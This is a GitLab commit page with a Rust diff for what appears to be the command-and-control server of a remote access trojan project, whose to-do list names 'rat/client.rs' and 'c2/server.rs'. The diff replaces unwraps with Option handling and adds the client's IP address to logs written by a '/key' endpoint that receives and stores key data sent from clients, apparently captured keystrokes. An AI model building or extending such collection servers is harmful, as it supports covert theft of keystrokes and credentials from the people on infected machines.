Skip to content
Snippets Groups Projects
Commit d497520e authored by leo.muff's avatar leo.muff
Browse files

removed unwrap + added client ip in data logs

parent 242cb235
No related branches found
No related tags found
No related merge requests found
......@@ -32,7 +32,7 @@ pub struct DataFiles<'a>{
impl DataFile {
pub fn new(kind:DataType) -> Self {
pub fn new(kind:DataType) -> Option<Self> {
let api_info = ApiInfo::new();
let basedir = String::from(BASEDIR);
......@@ -41,13 +41,22 @@ impl DataFile {
DataType::Image => basedir + &api_info.images_api,
DataType::Sound => basedir + &api_info.sound_api
};
check_data_path(&path).unwrap();
let path_ref = get_file_nb(&path).unwrap(); // to do changer unwrap --> passer en mode envoi de mail
DataFile {
if let Ok(_) = check_data_path(&path){
if let Ok(path_ref) = get_file_nb(&path){
Some(DataFile {
path: path, // chemin du dossier, le chemin complet est path + nbfiles
size: 0, // nombre de char écrits dans le fichier
nb_files: path_ref // nombre de fichiers créé par une précedente execution du programme
})
}
else {
None
}
}
else {
None
}
}
pub fn save_data(&mut self, data:String)-> std::io::Result<()> {
......
use rocket::{State, http::Status, Request,serde::json::Json };
use rocket::{State, http::Status, Request,serde::json::Json };
use std::net::SocketAddr;
use std::sync::Mutex;
use c2::backup::{DataFile, DataType};
use c2::server::{Keys, Response};
......@@ -17,15 +18,19 @@ fn not_found(req: &Request) -> String {
}
#[post("/key", data = "<keys>")]
fn get_keys(keys: Json<Keys>, data:&State<Mutex<DataFile>>) -> Result<Json<Response>,Status> {
println!("{}", keys.data);
println!("{:?}", keys.date);
let result_str = keys.date.to_string() + " ; " + &keys.data + "\n";
fn get_keys(keys: Json<Keys>, data:&State<Mutex<Option<DataFile>>>, addr:SocketAddr) -> Result<Json<Response>,Status> {
let result_str = format!("{} @ {} ; {}\n",addr, keys.date, &keys.data );
match data.lock(){
Ok(mut data) => match data.save_data(result_str){
Ok(mut data) =>
if let Some(data) = &mut *data {
match data.save_data(result_str){
Ok(_) => Ok(Json(Response {status: String::from("Ok")})),
Err(e) => Ok(Json(Response {status: e.to_string()}))
}
} else {
Ok(Json(Response {status: String::from("Internal server error")}))
},
Err(_) => Ok(Json(Response {status: String::from("Internal server error")})),
}
......@@ -34,6 +39,7 @@ fn get_keys(keys: Json<Keys>, data:&State<Mutex<DataFile>>) -> Result<Json<Respo
#[launch]
fn rocket() -> _ {
let keys_file = Mutex::new(DataFile::new(DataType::Keys));
rocket::build()
.mount("/", routes![home,get_keys])
.register("/", catchers![not_found])
......
......@@ -5,11 +5,19 @@
# to do
- config file + check for depedencies
- modify structure with members in cargo.toml --> create common member with redondant code between rat/client.rs and c2/server.rs + files constant.rs
## functions
- add IP du client dans les logs -> ok
- add sysinfo api + client
- add client auth
- add error log
- add some frontend (yew)
- add db
- remove unwrap from backup.rs new
## cleanup / optimisation
- config file + check for depedencies --> dotenv crate ?
- modify structure with members in cargo.toml --> create common member with redondant code between rat/client.rs and c2/server.rs + files constant.rs
- remove unwrap from backup.rs new --> ok
- améliorer gestion erreur
# questions
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment